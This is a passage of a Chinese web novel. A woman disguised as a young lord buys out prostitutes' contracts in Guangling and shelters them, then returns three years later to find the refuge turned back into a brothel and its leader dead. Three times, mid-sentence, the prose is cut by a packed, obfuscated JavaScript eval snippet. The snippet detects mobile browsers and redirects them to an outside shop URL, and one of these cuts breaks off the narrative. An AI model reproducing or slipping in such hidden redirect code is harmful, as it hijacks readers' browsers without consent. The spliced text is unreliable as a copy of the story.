“她身契在我这儿,凭什么叫你带走?” “身契抵了债,白纸黑字,你拿什么赖?” “我还你银子!” “你拿得出来?” 男人说完,一脚踢翻了门口一只木盆。盆滚到陆云逸脚边,里头污水洒了一地。 她往里看去。 那是另一家窑子。屋里女人坐了一地,有人抱着包袱,有人头发散着,有人只穿一件薄袄,冻得嘴唇发青。一个牙婆站在门边,手里拿着册子,像挑牲口一样点人。 “这个太瘦。” “那个咳嗽,便宜些。” “这个脸还行,带走。” 陆云逸站在巷中,忽然觉得那雨后的冷气从脚底一直爬到胸口。 她继续往王妈妈那家走。 那扇半掩的门已经完全敞开了。 红布被扯下来,丢在泥水里。屋里的板凳少了一半,桌面被砸出一道裂。王妈妈坐在门槛边,头发散乱,脸上粉被雨水冲出几道痕,正同一个粗壮男人吵。 “胡三爷,你做人留条路!姑娘们都叫你带走,我以后拿什么还钱?” 那男人冷笑:“你还钱?你拿什么还?屋子抵了,家具抵了,人也抵了。你当初按手印的时候,倒答应得痛快。” 王妈妈哭道:“那是利,利滚到这个数,谁还得起?” “还不起就拿人抵。” 胡三爷身后站着几个打手。门里几个女人缩在墙边。桃枝也在其中,脸上的粉早就花了,身上披着一件旧棉袄,怀里抱着一个小包袱。 她一眼看见陆云逸。 那一瞬,她像没认出来。又像是不敢认。 陆云逸站在门外,没动。 桃枝猛地站起来,冲了出来。 “公子!” 王妈妈和胡三爷都朝她看过去。 桃枝顾不上许多,一把抓住陆云逸的袖子。她手凉得厉害,指头都在抖。 “公子,你救救我。” 陆云逸看着她。 桃枝从前笑起来总带着熟练的甜,此刻脸上只剩慌。她抓着陆云逸的袖子,像抓着救命稻草。 “他们要把我卖到江口去。那边船多,客也杂。去了就回不来了。”她说得又急又乱,“公子,我不要去。你从前问我出去以后想做什么,我那时候不知道。现在我知道了,我先想走出这条巷子。你带我走吧。我给你做丫鬟,做粗活也行。我吃得少,手脚也利索。” 胡三爷走过来,上下打量陆云逸。 “这位公子,认得她?” 王妈妈也立刻爬起来,换了一副脸。 “公子,您来得正好。桃枝跟您有缘,您若想要她,价钱好说。” 桃枝的手抖得更厉害。 陆云逸问:“多少?” 胡三爷笑了:“她欠的账可不少。” 桃枝急道:“我哪欠那么多?都是王妈妈记的!” 王妈妈立刻骂:“你吃饭穿衣不要钱?生病抓药不要钱?脂粉不要钱?你这些年住我的屋,睡我的床,白住?” 桃枝还要说,被陆云逸轻轻按住手腕。 陆云逸看向胡三爷。 “账册呢?” 胡三爷眯眼:“公子要看账?” “看了再谈价。” 胡三爷盯着她一会儿,似乎在估她来路。陆云逸今日穿得素,却仍不像寻常客。她站在巷中,脸色平静,腰间钱袋沉,靴面干净,话也稳。 胡三爷朝身后人抬手。 很快有人拿来一本账册。 账册被雨气浸得边角发软,里头字迹杂乱。陆云逸翻了几页,看见桃枝名下记着衣裳钱、饭钱、药钱、屋钱、脂粉钱,还有许多看不出名目的“旧欠”“罚银”“误工”。每一笔不算很大,加在一起,却密密麻麻。 她又翻后几页。 香娘,杏儿,小翠,红云,兰姐。 有些名字她听过,有些连面孔也对不上。 王妈妈在旁边小心道:“公子若只要桃枝,咱们就算桃枝的账。” 桃枝立刻抬头看陆云逸,眼里带着哀求,也带着怕。 她怕陆云逸只要她。 也怕陆云逸连她都不要。 门里传来一声咳嗽。 陆云逸抬眼,看见角落里坐着一个小姑娘,十四五岁,脸上粉被泪水冲得一塌糊涂。她怀里抱着一个木匣子,里面大约是几件衣物。旁边香娘正低头翻自己的小包袱,像在数还有几枚铜钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590832|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆云逸问:“你们这些人,要卖到哪里?” 胡三爷笑道:“公子这就问宽了。有人去江口,有人去船上,有人换家楼。年纪大的,能卖便卖,卖不上价就自己走。她们有手有脚,总饿不死。” 桃枝忽然哑声道:“香娘嗓子坏了,没人要。杏儿发着烧。小翠才来两个月。” 王妈妈骂道:“闭嘴!” 桃枝却像豁出去了,抓着陆云逸的袖子,又往前一步。 “公子,你从前问我们病了怎么办,老了怎么办,出去怎么办。你问了那么多,今日就当我答你。病了,就这样;老了,就这样;出去,也这样。你若能救一个,就救一个。你若能多救几个……” 她说到这里,声音断了一下。 “就多救几个吧。” 陆云逸的喉咙有些发紧。 她想起那些夜里自己坐在布帘后,一句一句问。她问得仔细,像真要弄明白什么。可问完之后,她一次次走出那扇门,回到河边客栈,洗手,换衣,吃热饭,看书,什么也没做过。 如今这些回答都站在她面前。 没有一点遮掩。 胡三爷等得不耐烦。 “公子到底要不要?要就拿银子。不然牙婆还等着。” 陆云逸把账册合上。 “这里还剩多少人?” 王妈妈一愣。 胡三爷也看向她。 “公子什么意思?” “我问,还剩多少人。” 王妈妈赶忙道:“能接客的十一个。还有两个病的,一个老的,两个丫头……” “身契都在?” 胡三爷笑了:“多数在。也有几个是借住吃饭的,没契,可欠钱。” “账册、身契,都拿来。” 王妈妈瞪大眼睛:“公子要全要?” 桃枝也愣住。 陆云逸没有看她,只对胡三爷道:“你开价把。” 胡三爷脸上的笑慢慢变了。 他把陆云逸重新打量一遍,眼神谨慎了些。 “公子口气不小。这一屋子人,可不便宜。” “你开价。” 胡三爷报了个数。 王妈妈听见都吸了一口气。 桃枝脸色发白。 陆云逸却只问:“包括账册、身契、旧欠,一笔勾清?” 胡三爷道:“公子爽快,我也爽快。银子到手,人和契都归你。只是丑话说前头,有病的、年纪大的,带走之后是死是活,与我无干。” “写字据。” 胡三爷笑了一下:“公子懂行。” “写。” 他招手叫人去取纸笔。 王妈妈凑上来,笑得又急又软:“公子,您真是菩萨心肠。她们遇上您,是几辈子修来的福气。” 陆云逸看了她一眼。 王妈妈后头的话卡住。 桃枝往门外看了一眼,声音急得发哑:“隔壁还有几个。香娘的妹妹在隔壁,杏儿有个同乡也在隔壁。那边人更乱,牙婆已经进去挑了。公子……你若还能救,就去看一眼。” 王妈妈立刻骂道:“你疯了?自个儿都没落地,还管别人?” 桃枝没有理她,手抓得更紧。 “公子,我知道我贪心。”她眼睛红着,“可她们也是人。今日散了,就不知道被卖到哪儿去了。你从前问我,出去以后想做什么。我现在先不想以后,我就想她们别被拖上船。” 陆云逸看了她一会儿。 外头正传来女人的哭声,夹着牙婆尖利的嗓子。 “这个眼睛不好,便宜些。” “那个年纪大了,送去庵里人家都嫌晦气。” “这个还能卖,带走。” 陆云逸把手里的账册合上。 “带我去。” 桃枝愣了一下,立刻擦了把脸,冲出门去。 52.身契乱分各投门 隔壁那家更乱。 门板被卸了一半,屋里桌椅翻倒,地上湿漉漉的。几个女人挤在墙边,有人抱着包袱,有人跪在牙婆脚下求她缓一缓。一个穿灰棉袄的女人正把一张纸往怀里塞,被旁边打手一把揪住头发。 “偷契?你胆子肥了!” 那女人疼得脸都白了,却死死护着怀里的纸。 “这是我自己拿银子换的!我攒了三年体己钱,妈妈答应过!” “答应?”打手笑了,“她如今人都跑了,谁给你作证?” 陆云逸走进去时,屋里人都转头看她。 桃枝指着那灰袄女人,急道:“她叫素娘,平日最会攒钱。她真的攒了体己钱,前些日子就想走,只是鸨母一直拖着。” 素娘抬头看陆云逸,眼里全是戒备。 她并不认得她。 陆云逸看向打手:“放开她。” 打手皱眉:“你谁啊?” 胡三爷从后头跟进来,咳了一声。 那打手看见他,手松了几分。 胡三爷问:“公子,隔壁的你也要管?” 陆云逸道:“能带走的,我都问一问。” 牙婆立刻不高兴:“这可坏规矩了。我已经同他们谈好价了。” 陆云逸看向胡三爷:“价钱我照付。身契、旧账、字据,一样不少。” 牙婆眼珠一转,又看了看她衣着,脸色才缓了些。 “公子要做好人,也得看她们愿不愿意跟你走。” 这话倒是真的。 屋里几个女人互相看着,谁也不敢先动。 桃枝急得跺脚:“你们还愣着做什么?这公子真给银子,不打人,也不骗色。” 有人哭着说:“然后呢?” 桃枝被问住。 她回头看陆云逸。 陆云逸也答不上来太多。 她只能说:“先出去。往后的事,再慢慢商量。” 屋里的人听见,倒是有人动了。一个瘦弱女子扶着墙站起来:“我走。” 另一个抱着包袱的小姑娘也怯怯挪过去。 素娘却没有动。 她把那张身契重新塞进怀里,头发被扯乱了,脸上还有泪,却摇头:“我不跟公子走。” 桃枝急道:“素娘!” 素娘看着桃枝,声音发颤,却很清楚:“我约了东桥卖豆腐的刘二。他穷,人老实。他说,只要我能拿回契,他便娶我。我今晚就去找他。” 牙婆嗤笑:“哼,卖豆腐的男人,明日就能反悔。” 素娘咬着唇:“那也比跟不认识的人走要好。” 陆云逸看着她,点了点头。 “好。” 她又取出一小块银子,放到桌上,推给素娘。 素娘没有接。 陆云逸道:“路上用。若他反悔,你也有钱找个去处。” 素娘看了她许久,终于把银子收下,低声说:“多谢公子。” 角落里还有一个年纪大些的女人,头发半白,脸上粉已经擦净了。她从头到尾没有哭,只抱着一个旧布包坐着。 桃枝问:“兰姐,你呢?” 那女人摇头。 “我去城北水月庵。早托人说过了,给庵里添五两香火钱,她们收我做粗使。青衣草鞋,也比这儿安生。” 桃枝眼泪一下掉下来。 “兰姐……” 兰姐笑了笑:“哭什么?你们年轻,能走远些。我老了,找个地方扫地烧火,也算清静。” 陆云逸也没有劝。 她叫人把兰姐的身契从乱账里挑出来,又替她补了二两银子,让胡三爷在字据上写清:旧债已清,再无追讨。 兰姐接过身契时,手指抖了抖。 她没有跪,只弯腰行了一礼。 “公子积德。” 陆云逸听着这四个字,心里并没有轻松多少。 这一片小窑子乱成一锅沸水。 有的人愿意跟她走,有的人拿了自己的契,匆匆去找早已看好的普通客人;有人说要去城外投亲,也有人说去庵里。还有人躲在门后看了她很久,最后仍摇头。 “我不走。”那女人说,“我不认得你。谁知道你带我们去哪儿。” 桃枝急道:“他真不是那种人!” 那女人看着桃枝:“你怎么知道?你见过他几回啊?” 桃枝说不出话。 陆云逸站在门边,听见这句话,反而觉得她说得对。 她对这些人来说,只是一个忽然出现的贵公子。可这样的男人,世上从来不缺。今日说救人,明日转手卖掉,也未必没人做过。 “愿意走的,收拾东西。愿意自去的,先拿契。谁要留,也可留下。” 胡三爷在一旁冷眼看着,忽然笑道:“公子这买卖可做得稀奇。花银子,还让人自己挑。” 陆云逸道:“她们也是人。” 胡三爷脸上的笑僵了一下,很快又恢复。 “成。公子有钱,公子说了算。” 字据写了一张又一张。 灯点起来时,陆云逸已经付出去一大笔银子。身契、旧欠、烂账、临时添出来的名目,越扯越乱。 “香娘,别数了,快收东西。杏儿披厚点。小翠,你别哭,先跟着我。红云,你那破簪子还要什么?走了再说。” 她语气急,手也快。平日里软着嗓子叫公子的桃枝,这时像换了个人。她骂人,催人,替人把包袱打结,又把烧得迷糊的杏儿推给香娘扶着。 陆云逸站在一旁看着,忽然明白,这些女人在这间屋子里生活许久,彼此之间有争有怨,也有一些外人看不清的牵连。 到了天快黑时,人终于清点出来。 桃枝这边跟她走的九个。隔壁又有六个愿意跟来,其中两个病着,一个眼睛很差,要人扶着走。另有三人各自拿了身契走了。素娘要去东桥找卖豆腐的刘二;兰姐要去水月庵;还有一个叫玉莲的,说自己有些体己钱,想先去外县找表姐。 也有人被牙婆带走。 她们站在门边,看着陆云逸这边的人收拾包袱,脸上说不清是羡慕,还是怀疑。一个被牙婆牵住的小姑娘哭得厉害,牙婆嫌她吵,拧了她胳膊一下。 陆云逸看见了,手指一动。 桃枝低声说:“公子,我们走吧。” 陆云逸带她们离开那条巷子。 桃枝走在最前,怀里抱着包袱。她走过那扇半掩过无数次的门时,脚步很快,像怕门里伸出一只手把她拖回去。 陆云逸走在队伍旁边。 巷子外的风比屋里冷,也干净许多。几个人一出来,先被冷风吹得缩起肩膀。小翠打了个喷嚏,香娘低声骂她:“拿袖子挡着,别把肺咳出来。” 走到巷口时,馄饨摊主正准备收摊,看见这一队人,手里的勺子停住。 陆云逸问他:“还有馄饨吗?” 摊主愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598227|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了愣:“有。” “都煮了。” 摊主看了看她身后的女人们,没再多问,低头往锅里下馄饨。 热气很快冒起来。 那些女人站在冷风里,一人捧一碗热馄饨。有的吃得急,被烫得直吸气;有的一边吃一边哭;还有人捧着碗发呆,好像不知道自己竟能站在巷口,慢慢吃完一碗热东西。 桃枝拿着碗,看着陆云逸。 “公子,去哪儿?” 陆云逸看向河边。 她头脑一热,带了这么多女人出来,所幸除了一时热起来的心,她还有银子。 “先去客栈。” 桃枝愣了愣:“这么多人?” “先去。” 她说完,自己也知道客栈未必收。 可天已经黑了。 这些人需要今晚有住处。 陆云逸带着她们往河边走。广陵街上灯火渐亮,路人纷纷侧目。有些人看一眼便走,有些人低声议论,还有人认出她们从东巷出来,脸上露出轻佻笑意。 那笑落在桃枝脸上,她低下头。 陆云逸停住脚,解下自己的披风,递给她。 桃枝怔了一下。 “披着。” 桃枝抱着披风,低声道:“公子自己冷。” “我走得快。” 桃枝没有再推。 她把披风披上,宽大的衣料盖住她花掉的衣裙,也盖住了旁人落过来的目光。 到了客栈门口,掌柜果然变了脸。 他先看陆云逸,再看后头一串女人,笑容僵住。 “公子,这是……” “开几间房。” 掌柜为难:“小店做正经生意,这些……这些姑娘,怕是不合适。” 陆云逸道:“今晚住一夜。饭菜、热水、药,我照两倍价钱付。” 掌柜喉咙动了动,忙说。 “公子说哪里话。小的这就安排。” 桃枝站在后头,看见掌柜前后两副嘴脸,嘴角动了动,却没笑出来。 客栈伙计被叫来烧水、送饭、铺床。女人们挤进后院几间客房时,一个个像做梦。有人先去摸床,有人坐下便哭,有人抱着热茶不肯松手。 杏儿烧得厉害。 陆云逸叫伙计去请大夫。 伙计跑得飞快。 夜深后,后院终于安静些。 陆云逸站在廊下,听见屋里传来压低的哭声、咳嗽声,还有桃枝小声安慰人的声音。 “先睡。明日再说。” 明日再说。 这四个字从桃枝嘴里出来,落在陆云逸耳中,像一块沉石。 她抬头看向广陵夜空。 云很低,看不到星。河边的灯还亮着,酒楼里仍有丝竹声,远远传来,像同这座后院隔着一层厚墙。 掌柜小心翼翼走过来。 “公子,大夫请来了。还有,后头这几间房,住一夜倒成,久住怕是不便。” 陆云逸点头。 “我知道。” 掌柜又道:“公子,这些人往后……” 他没把话说完。 陆云逸也没回答。 她看着廊下被风吹动的灯,忽然想起自己问过桃枝的话。 你若出去,想做什么? 桃枝说,不知道。 如今人真的出来了。 她们不知道。 陆云逸也不知道。 53.一纸新租别故知 第二日天刚亮,后院里便有人醒了。 其实也算不上醒。许多人一整夜都没睡实。门外一有脚步声,屋里便有人坐起来。客栈的小丫头端水进来时,吓得差点把盆摔了。桃枝披着衣裳站在门边,眼下青黑,头发也乱着,却还是先问了一句: “热水是给我们的吗?” 小丫头赶忙点头。 “还有一盆,一会儿就送来。” 桃枝回头喊:“香娘,水来了。先给杏儿擦擦脸,别让她烧糊涂了。” 香娘没好气地应了一声:“知道了,昨儿夜里就我守着,你怎么现在跟王妈妈一样管我。” 桃枝嘴上也不让:“你守着就守着,谁少你一块肉了?” 屋里有人低低笑了一声。 笑声很短,很快又被咳嗽声盖住。 陆云逸站在廊下,默默听着这些声音。 大夫来得早。 他背着药箱,起先看见这一屋子女人,脸上有些不自在。等陆云逸把诊金放到桌上,他才坐下来,替杏儿把脉,又看了另一个眼睛受损的女子。那女子楼里都叫她阿盲,一只眼白蒙蒙的,另一只也看不清,坐在凳上时双手一直摸着膝头。 大夫给杏儿开了退热的方子,又给阿盲看了眼。 阿盲问:“还能治吗?” 大夫迟疑了一下。 桃枝在旁边立刻说:“你照实说,她听得懂。” 大夫咳了一声:“拖得久了,只能养着。少吹风,少熬夜,别哭。” 阿盲笑了一下。 “我这眼睛,早就不会哭了。” 大夫低头收药箱,当作没听见。 桃枝送他出去,回来时正碰上掌柜站在院口。 掌柜昨夜收了两倍房钱,说话还算客气,可第二日清晨便在后院门口徘徊了三四回,他也不敢明着赶,只搓着手同陆云逸说,小店地方窄,来往客人杂,若这些姑娘长住,怕生闲话,也怕有人寻过来闹事。 桃枝站在一旁听着,脸色白了一下。 陆云逸看了掌柜一眼。 掌柜忙道:“公子,小的绝无慢待的意思。热水、饭食、药汤,小的都照吩咐送了。只是这后院到底是客栈,今日还有行商要来,小的实在……” “我知道。”陆云逸说。 掌柜如蒙大赦。 “给我半日。”陆云逸道,“我另找地方。” 掌柜连连点头:“半日成,半日成。” 他说完走了。 桃枝等人走远,才低声问:“公子,我们又要挪?” 陆云逸道:“客栈人多,不适合久住。” 桃枝抱着胳膊,往屋里看了一眼。香娘正坐在床边给杏儿喂水,小翠蜷在角落,眼睛红红的。隔壁带来的几个女人也都醒了,有人抱着包袱坐着,有人低头不说话。 “那去哪儿?”桃枝问。 “租宅子。” 桃枝愣了一下。 “给我们?” “先住着。” 桃枝苦笑:“谁肯租给一群从那种地方出来的女人?” 陆云逸看着她。 “所以先给你办一张良籍。” 桃枝像是没听懂。 “给我?” “嗯。” 她张了张嘴,半晌才说:“真的吗?” 桃枝低头看自己的手。那双手昨夜还抓着陆云逸的袖子,求她把自己从东巷带出来。 “那得花不少银子吧?” “我出。” “那我以后欠你多少?” 陆云逸停了停,道:“先记着。以后你能还,再说。” 桃枝听了这话,才像安心一点。 “这样好。”她低声说,“白拿人的东西,我心慌。” 陆云逸没有亲自出面。她知道远处有人跟着自己,父王的人也好,宫里的人也好,总归都在看。救人这事已经瞒不住,她也无意瞒;可若让人看见太多,回京之后,便多出许多说不清的话。 她坐在对街茶铺里,看着桃枝跟着一个牙保进去。桃枝今日换了件旧青袄,脸上的粉洗干净了,只用帕子遮了半边脸。她走路时还有风尘场里的习惯,腰先软下去,后来想起陆云逸叮嘱,又把背挺直一些。 有陆云逸给的钱打点下来,良籍办得还算顺利。 她进去时手心全是汗。 出来时,怀里多了一张折好的纸。 她走到陆云逸面前,没说话,先把那张纸拿出来,展开,又折上,再展开。 纸上写着一个新名字。 桃氏,名枝娘,外县迁来,夫亡无子,暂寓广陵。 有了这张户帖,再租宅子便顺了些。 牙人仍旧上下打量她,听她说带几个姐妹同住,脸上露出一点明白又装糊涂的笑。桃枝照陆云逸教的说法,只说是外县来投亲未成,几个人想在广陵接些洗衣、缝补、浆洗的活,先租个偏些的院子安身。 牙人问:“都是寡妇?” 桃枝笑道:“怎么,寡妇还不许有姐妹?” 牙人噎了一下。 桃枝又道:“我们给得起押钱,也不短房租。您做牙行的,管银子真不真便成,管我们做什么?” 牙人看了看银子,终于闭了嘴。 最后租到的是城南一处旧院。 原主人做过小买卖,后来一家搬去外县,院子空了半年。地方偏,巷子窄,墙皮脱落,门却厚,门闩也结实。院中有一口井,一个小灶间,正房三间,东西厢各两间,后头还有一间柴房。屋顶有几处漏痕,窗纸破了些,冷风能从缝里钻进来。 “这个好。”她说,“夜里从里头一插,外面推不开。” 女人们搬进去那日,谁也没有大声说话。 有人先去摸床,有人去摸门闩,有人抱着自己的小包袱站在院里发呆。桃枝把钥匙攥在手里,先叫人把病的扶进正屋,又让香娘带两个手脚快的去烧水。她忙得脚不沾地,嘴上也没闲着,一会儿骂这个包袱乱扔,一会儿骂那个只知道哭。 可她骂归骂,眼里有了点活气。 灶间许久没用,烟道堵了些。第一把火点起来,烟倒灌出来,呛得几个人直咳。越心就是这时从灶间钻出来的。 她个子不高,脸上还沾着一点灰,眼睛却亮。她一边咳,一边骂:“这灶是死的吗?火往人脸上扑。” 桃枝道:“你会烧火?” 越心把袖子往上挽:“不会也得会。难道大家坐院里等米自己熟?” 终于,灶间升起烟。 第一锅粥熬得稀,菜也少。女人们端着碗坐在屋里屋外,谁也没嫌。有人喝了一半,忽然低头哭起来。桃枝骂她:“哭什么?有粥吃还哭,眼泪滴进去,盐钱都省了。” 屋里便有人笑。 这一笑,院子里才像有了人过日子的样子。 陆云逸在广陵又留了几日。 她看见桃枝拿着户帖去米铺赊米,看见香娘带人接浆洗活,看见几个想走的女子各自寻路。有一个去投亲,有一个拿了身契去找从前认识的男人,还有年纪大的说想去庵堂,桃枝只替她们收拾包袱。 “各人有各人的命。”桃枝坐在门槛上说,“能走就走吧。留在一处,也未必就是好。” 陆云逸没有拦。 她给要走的人添了路费,也给留下的人留了银子。房租、米钱、药钱、炭钱,她都算过一遍,交给桃枝。桃枝把钱袋抱在怀里,脸上没有高兴,倒有些怕。 “公子,你给这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桃枝跑出来开门,看见是她,才松了口气。 院里正晾着洗好的衣裳,灶间有粥香。一个女子坐在井边洗菜,另一个在屋檐下纳鞋底。杏儿的烧退了,裹着被子坐在窗下喝药。阿盲摸着门边的阳光,安静地坐着。 一切看着都在往好处走。 桃枝站在门口,问:“公子要走了?” 陆云逸点头:“明日走。” 桃枝低头踢了踢门槛。 “还回来吗?” “会。” 桃枝笑了笑:“男人说的话,可不能全信。” 陆云逸道:“那你先当我说的是真的。” 桃枝看着她,过了一会儿,把笑收了。 “公子,我会看着她们。你放心。” 陆云逸点头。 “我信你。” 桃枝眼圈忽然红了,赶忙转过脸。 “走吧走吧。别在这儿站着,叫人看见,又要说闲话。” 陆云逸没有再多说。 她离开旧宅,走出巷口时,身后传来桃枝的声音。 “香娘!那盆衣裳别乱放,明儿要送回去的!” 院里有人回嘴,桃枝立刻骂回去。很快,又有人笑起来。 那笑声隔着旧院墙传出来,不大,却让陆云逸心里松了一口气。 她以为她们已经有了新日子。 第二日清晨,陆云逸离开广陵。 城外下着濛濛细雨,河边薄雾很重。她骑马出城时,回头看了一眼。广陵的灯还没全灭,水面上浮着淡淡的光。 她觉得自己做完了该做的事。 于是,她往南去了。 54.谁将旧院作香扉 三年时间在书中不过翻页一瞬,在人的身上却能换一张脸。一个人能从瘦弱长到结实,也能从鲜活病到枯干;一间院子能从冷清变得热闹,也能从热闹重新跌入死寂里,世上的许多路,初走时都像通向光亮,走着走着,脚底却又踩回原来的坑。 陆云逸再回广陵,是春末。 广陵的春末已经有了暑气。河边柳色深了,码头上的水腥味混着酒气和脂粉香,从一条条窄巷里漫出来。城中还是从前的模样,桥下有乌篷船,街边有卖糖糕的老人,茶楼上有人临窗听曲,年轻的书生摇着扇子,在铺子前同掌柜讨价还价。繁华处依旧繁华,热闹处依旧热闹,仿佛这座城从未因谁的生死多停一刻。 陆云逸牵着马,往城南走去。 她还记得那处宅子的位置。 三年前,她替桃枝一行人赁下这处院子时,门前还有一棵老槐树。树身斜斜倚着墙,夏日枝叶繁密,能遮住半边门檐。院里有一口井,井沿缺了一角,阿盲第一次摸着走过去时,险些被木桶绊倒,桃枝嘴上骂她不看路,骂完又扶着她坐下,替她把鞋上的泥擦干净。 那时候院中忙乱,也有生气。 有人扫地,有人晒衣,有人把旧绣绷架起来,商量着先接些便宜活计。桃枝拿着账册坐在廊下,头发用一根木簪挽着,一边数铜钱,一边说往后再苦,总能把日子往前挪一挪。她说这话时,语气粗粝,眼睛却亮,像真的看见了前头有路。 陆云逸那时信了她。 如今她再走到那棵老槐树下,脚步慢了下来。 门还是那扇门,门漆却重新刷过。原先挂着竹帘的地方换成了红纱,门前悬着两盏褪色的灯笼,白日里没有点,灯皮被风吹得轻轻鼓起,又慢慢瘪下去。门侧添了一块木牌,上头写着“春宜馆”三个字,字迹圆滑,像怕人看不懂这是什么地方。 院门半开,里头传来女子笑声。 那笑声带着见客时惯有的柔软尾音。陆云逸站在门外,看见一个穿鹅黄衫子的女子倚在门边,手里拿一柄团扇,正同路过的男子说话。男子停下脚步,眼神在她身上转了一圈,又朝院里看。女子拿扇子遮住嘴笑,身子微微往门里让。 陆云逸看着那一幕,手指在马缰上收了一下。 那女子也看见了她。 陆云逸如今已不大像从前那个初到广陵的贵公子。她穿一身半旧青衣,袖口因常年骑马赶路磨出毛边,腰间没有多余玉饰,只挂着一只寻常钱袋。脸还是那张脸,岁长了些,肩背也开阔了些,身上那股从京城富贵里养出来的明净气,被风尘压下去许多。 门边女子打量她片刻,笑道:“公子是来喝酒,还是来听曲?” 陆云逸问:“桃枝在吗?” 女子脸上的笑顿了一下。 她没有立刻答话,目光往院里飘去。那一瞬间,院中几个说笑的女子都安静了些,有人从廊下看过来,也有人垂下眼,装作整理裙摆。 女子道:“公子寻桃枝妈妈?” 陆云逸听见“妈妈”两个字,眼神微微动了动。 门里有人问:“阿月,谁在外头?” 那声音比记忆里低了些,也沉了些。 一个女子从堂屋出来,她穿藕色衣裙,发髻梳得齐整,脸上脂粉淡薄,眉眼间有几分熟悉。三年以前,她总跟在桃枝身后,说话不多,遇见生人时会先看桃枝脸色。如今她走路已不再低着头,目光扫过门口时,先是带着管事人的警觉,随后才忽然停住。 账册从她手中滑下来,落在地上。 “公子?” 陆云逸看着她,道:“是我。” 越心匆匆往前走了两步,又在陆云逸面前停住,想行礼,半途又想起这地方不合适。 “公子先进来。” 她说完,回头吩咐院里的人:“今日先不迎客,把门合上。” 院中女子互相看了一眼,没有多问。门被合上时,外头巷子的声音被隔开,院里的脂粉香便显得更重。 这宅子改动很大。 原先摆在院中的绣架不见了,井边晾衣的竹竿也撤了,廊下挂着几幅轻纱,风一吹便贴到柱子上。前堂被收拾成待客的地方,桌上有酒壶、骰盅和果碟,墙边立着琵琶和小鼓。原本几间住人的屋子,有的换了新窗纸,有的门帘垂得很低,帘后隐约有香粉和酒的气味。 这仍是那处宅子。 井沿缺的一角还在,老槐树的影子还落在院中,东厢窗下那块青砖仍有一道细裂。可那些旧痕迹被红纱和酒气盖住,像一个人换了衣裳与身份,左腕上的旧伤口却仍藏在袖底。 越心把陆云逸领到东厢。 屋里陈设比前堂清淡些。一张榻,一张小几,两只旧木箱。窗台上放着一盆兰草,叶子发黄,盆土却湿着,有人还记得浇水,却救不回枯意。越心倒茶时,手指碰到茶壶,发出一声很轻的响。 “公子什么时候到的广陵?” “今日。” “可曾用饭?” “还没有。” 越心忙道:“我让人去做。” “不急。”陆云逸看着她,“桃枝呢?” 越心的手停住。 茶水从壶嘴流出来,溢过杯沿,在桌上积了一小片。 “桃枝姐几个月前走了。” 陆云逸没有说话。 越心坐在她对面,指尖捏着那方帕子,低声道:“病走的。” 屋里一时安静下来。 外头有人经过廊下,裙摆扫过门槛,轻纱上的小铜铃响了一下。那声音细细的,像从很远的地方传来。陆云逸端起茶盏,茶水还烫,她却像没有觉出来,只垂眼看着杯中浮起的碎叶。 桃枝死前,这座院子已经撑了太久。 陆云逸离开的头一年,院里的女子是真心想过寻常日子的。她们把能卖的首饰卖掉,换成米粮和针线。会刺绣的接绣坊散活,会烧菜的到食铺帮工,会浆洗的替附近富户洗衣,阿盲眼睛不好,便摸着分线、搓绳,也能挣几个铜钱。 那时候日子苦些,众人仍有盼头。 清晨起来,院中有扫地声和烧水声。夜里回来,有人带一包便宜点心,大家分着吃,每人只能尝一小口,也能笑上半日。桃枝总说,苦日子怕什么,怕的是没有路,如今有了路,慢慢走便是。 可路没她想得那么直。 绣坊嫌她们出身不好,压价压得厉害,一幅花样绣得眼睛发酸,交出去时还要被挑刺。食铺掌柜要人洗碗到深夜,工钱少给,说她们这样的人能有活干便该知足。浆洗衣裳的人家丢了东西,第一句话便是问是不是她们手脚不干净。她们去讨说法,街坊多半关门,衙门口的差役听了几句,挥挥手叫她们回去,莫拿这种小事扰人。 她们不接客了,出门却仍被人认作窑子里出来的女人。卖菜的把菜递过去时,手指故意往腕上蹭。送绣活的路上,有人跟着走两条街。夜里常有人敲门,嘴里说着想喝口水,实则一开门便往院里挤。桃枝拿着柴刀站在门后骂,骂退了一个,过几日又来两个。 院中有人害怕,开始不敢独自出门。 后来出事的是香娘。 香娘去城西送一件赶工的衣裳。那日是白天,她带着两个馒头出门,说回来给阿盲买糖豆。傍晚没回来,桃枝带人找了一夜。第二日清晨,城外芦苇荡里有人发现了她。官府去看过,问了几句话,又问她从前在何处营生。问到最后,案子便轻了。那些差役说她独自出城,本就难说清楚,又说人已经没了,再闹也没有用。 香娘下葬那日,阿盲坐在院里,把那包没有买成的糖豆念了很久。 那以后,院里的活计更难做。 